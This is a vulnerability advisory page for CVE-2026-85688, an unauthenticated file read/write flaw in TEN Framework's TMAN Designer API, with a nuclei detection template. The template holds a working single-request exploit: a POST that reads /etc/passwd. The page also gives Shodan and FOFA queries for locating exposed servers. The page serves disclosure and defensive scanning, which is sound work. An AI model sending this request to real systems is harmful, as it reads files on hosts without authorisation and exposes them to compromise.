HexBrain

Browse / CVEs / CVE-2026-85688

CVE-2026-85688· ten-framework / ten-framework· CWE-306

TEN Framework - Arbitrary File Read & Write

criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.

Impact

Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.

Fix

Update to the latest version of TEN Framework.

How to confirm it

Send: POST /api/designer/v1/file-content
Positive when: contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-85688 -u <target>

The full check
id: CVE-2026-85688

info:
  name: TEN Framework - Arbitrary File Read & Write
  author: aryu-ru,geo-chen
  severity: critical
  description: |
    TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
  impact: |
    Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of TEN Framework.
  reference:
    - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer
    - https://github.com/TEN-framework/ten-framework/issues/2187
    - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85688
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85688
    epss-score: 0.02641
    epss-percentile: 0.8571
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: ten-framework
    product: ten-framework
    shodan-query: http.title:"TEN Manager"
    fofa-query: title="TEN Manager"
  tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth,vkev

http:
  - raw:
      - |
        POST /api/designer/v1/file-content HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"file_path":"/etc/passwd"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from